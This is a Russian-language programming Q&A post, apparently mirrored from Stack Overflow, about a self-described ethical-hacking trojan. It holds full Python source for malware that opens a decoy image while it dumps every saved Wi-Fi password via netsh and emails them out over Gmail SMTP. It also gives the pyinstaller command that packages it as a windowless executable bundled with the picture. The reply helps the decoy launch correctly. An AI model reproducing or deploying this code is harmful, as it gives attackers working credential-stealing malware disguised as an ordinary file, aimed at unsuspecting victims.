Не удается открыть файл с помощью Subprocess.Popen()

Я пытаюсь создать троян на основе Python 3 для моего курса этического взлома на https://phoenyxacademy.com. Таким образом, это базовый троянец, который открывает изображение на поверхности, но извлекает и отправляет пароль Wi-Fi на электронную почту. Но после упаковки скрипта Python с помощью pyinstaller и запуска сгенерированного исполняемого файла я получаю сообщение об ошибке.

Сгенерирована ошибка

Исходный код Python:

#!/usr/bin/env python3

# A program to steal wifi passwords and send to our e-mail


# import modules
import subprocess
import re
import smtplib
import sys
import tempfile


def retrieve_wifi_passwords():
    system_command = 'netsh wlan show profile'
    access_points = subprocess.check_output(system_command, shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)
    access_point_list = re.findall("(?:Profile\s*:\s)(.*)", access_points.decode()) 
    
    profile_result = ""
    for access_point in access_point_list:
        system_command = 'netsh wlan show profile "' + access_point + '" key=clear'
        result = subprocess.check_output(system_command, shell=True)
        result = result.decode()
        profile_result += result
    
    return profile_result   


def send_mail(email, password, message):
    server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

# to run after embedding it with a file
temp_directory = tempfile.gettempdir()

file_name = "C:\\Users\\Faisal Gama\\AppData\\Local\\Temp\\car.jpg"
subprocess.Popen(file_name, shell=True)

email = 'my_email'
password = 'my_password'
profile_result = retrieve_wifi_passwords()
send_mail(email, password, profile_result)

Я использую команду pyinstaller:

pyinstaller wifi_malware.py --onefile --noconsole --add-data "C:\Users\Faisal Gama\Downloads\car.jpg;C:\Users\Faisal Gama\AppData\Local\Temp"


person Faisal Ali Gama    schedule 26.08.2020    source источник


Ответы (1)


Вы можете использовать cmd exe для выполнения такой работы. Просто попробуй

subprocess.Popen(["cmd", "/C", "start " + file_name], shell=True)
person Gurhan Polat    schedule 27.08.2020
comment
если вы хотите, чтобы окна показывали ваше изображение с приложением по умолчанию, вам нужно то, что я покажу вам в ответе. но проблема у вас в другом. проверьте эту ссылку. stackoverflow.com/a/42170011/2016727 - person Gurhan Polat; 27.08.2020